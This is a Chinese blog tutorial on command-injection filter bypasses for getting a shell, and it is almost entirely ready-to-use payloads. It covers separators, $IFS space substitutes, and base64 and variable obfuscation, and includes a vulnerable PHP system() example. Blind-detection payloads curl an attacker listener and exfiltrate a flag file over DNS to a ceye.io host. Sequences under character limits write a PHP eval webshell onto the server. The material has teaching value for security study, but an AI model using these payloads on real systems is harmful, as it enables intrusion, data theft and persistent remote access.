命令执行 绕过方法

很多时候,我们在写getshell的时候,直接写命令在实战的时候肯定是不允许的,必须要去绕过,今天就简单的介绍一下:

 

1、命令执行的分隔符

换行符 %0a

回车符 %0d

管道符 |

连续指令 ;

后台进程 &

逻辑 || &&

<?php
#?1=123%0apwd
$rse = "echo";
system($rse.$_GET[1]);

 

2、命令执行的空格代替

<符号

$IFS

${IFS}

$IFS$9 $9指传过来的第9个参数

%09用于url传递

 

3、命令执行的绕过

a=l;b=s;$a$b

会以"ls"命令执行

 

base64编码

`echo d2hvYW1p | base64 -d`

d2hvYW1p解码后是whoami

base64 -d 解密

`` 对解密这个结果再去执行命令

 

4、命令执行的各种符号

"substr string pos len"用法示例。

该表达式是从string中取出从pos位置开始长度为len的字字符串。如果pos或len为非正整数时,将返回空字符串。

echo "${PATH:0:1}

echo "${SESSION_MANAGER}"

echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"

echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`

expr${IFS}substr${IFS}SESSION_MANAGER${IFS}1${IFS}1

 

5、命令执行无回显判断方法

index.php?1=ls|sleep 5

 

nc -lv 80000 #监听

index.php?1=ls|curl 192.168.1.102:8000

 

index.php?ping=;`cat where_is_flag.php|sed s/[[:space:]]//`.php.wzrtbq.ceye.io

 

6、15位可控字符下的任意命令执行

echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1

 

七、7位可控字符下的任意命令执行

ls > a 文件名写入a

 

欠缺,顺序

 

ls命令:长命令 \ 换行分隔

l\

s

 

假设我产要写入<?php echo phpinfo();
echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php
w>hp
w>1.p\\
w>d\>\\
w>\-\\
w>e64\\
w>bas\\
w>=\|\\
w>w=\\
w>gpO\\
w>mby\\
w>aW5\\
w>Ghw\\
w>Agc\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\

ls -t>0

sh 0

 

八、5位可控字符下的任意命令执行

ls -t>0 超过了5位

 

>ls\\
ls>a
>\ \\
>-t\\
>\>0

ls>>a

sh a

 

9、4位可控字符下的任意命令执行

ls -t>0 超过了4位

 

echo *

 

echo *a

abcd a

 

>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0
    A+
发布日期:2019年09月18日 20:37:27  所属分类:渗透测试
最后更新时间:2019-09-18 20:37:27
付杰
  • ¥ 189.0元
  • 市场价:269.0元
  • ¥ 98.0元
  • 市场价:398.0元
  • ¥ 89.0元
  • 市场价:129.0元
  • ¥ 99.0元
  • 市场价:129.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: